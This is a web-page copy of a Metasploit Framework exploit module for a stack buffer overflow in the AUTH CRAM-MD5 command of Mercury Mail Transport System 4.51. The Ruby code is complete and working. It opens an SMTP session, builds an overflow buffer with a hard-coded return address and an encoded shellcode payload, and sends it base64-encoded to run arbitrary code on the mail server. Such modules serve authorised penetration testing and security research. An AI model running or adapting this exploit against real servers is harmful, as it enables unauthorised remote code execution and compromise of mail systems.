Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smtp/mercury_cram_md5.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Mercury Mail SMTP AUTH CRAM-MD5 Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in Mercury Mail Transport System 4.51.
18
By sending a specially crafted argument to the AUTH CRAM-MD5 command, an attacker
19
may be able to execute arbitrary code.
20
},
21
'Author' => [ 'MC' ],
22
'References' => [
23
[ 'CVE', '2007-4440' ],
24
[ 'OSVDB', '39669' ],
25
[ 'BID', '25357' ],
26
],
27
'DefaultOptions' => {
28
'EXITFUNC' => 'thread',
29
},
30
'Platform' => 'win',
31
'Privileged' => true,
32
'Payload' => {
33
'Space' => 600,
34
'BadChars' => "\x00\x0a\x0d\x20\x25",
35
'StackAdjustment' => -3500,
36
},
37
'Targets' => [
38
[ 'Mercury Mail Transport System 4.51', { 'Ret' => 0x258d0d1e } ], # ter32.dll
39
],
40
'DefaultTarget' => 0,
41
'DisclosureDate' => '2007-08-18',
42
'Notes' => {
43
'Reliability' => UNKNOWN_RELIABILITY,
44
'Stability' => UNKNOWN_STABILITY,
45
'SideEffects' => UNKNOWN_SIDE_EFFECTS
46
}
47
)
48
)
49
50
register_options([ Opt::RPORT(25) ])
51
end
52
53
def exploit
54
connect
55
56
sock.get_once
57
58
sock.put("EHLO\r\n")
59
60
sock.get_once
61
62
sock.put("AUTH CRAM-MD5\r\n")
63
64
sock.get_once
65
select(nil, nil, nil, 0.25)
66
67
buffer = rand_text_alpha_upper(204) + [target.ret].pack('V')
68
buffer << payload.encoded + rand_text_alpha_upper(1075 - payload.encoded.length)
69
70
sploit = Rex::Text.encode_base64(buffer)
71
72
print_status("Trying target #{target.name}...")
73
sock.put(sploit + "\r\n")
74
75
handler
76
disconnect
77
end
78
end
79
80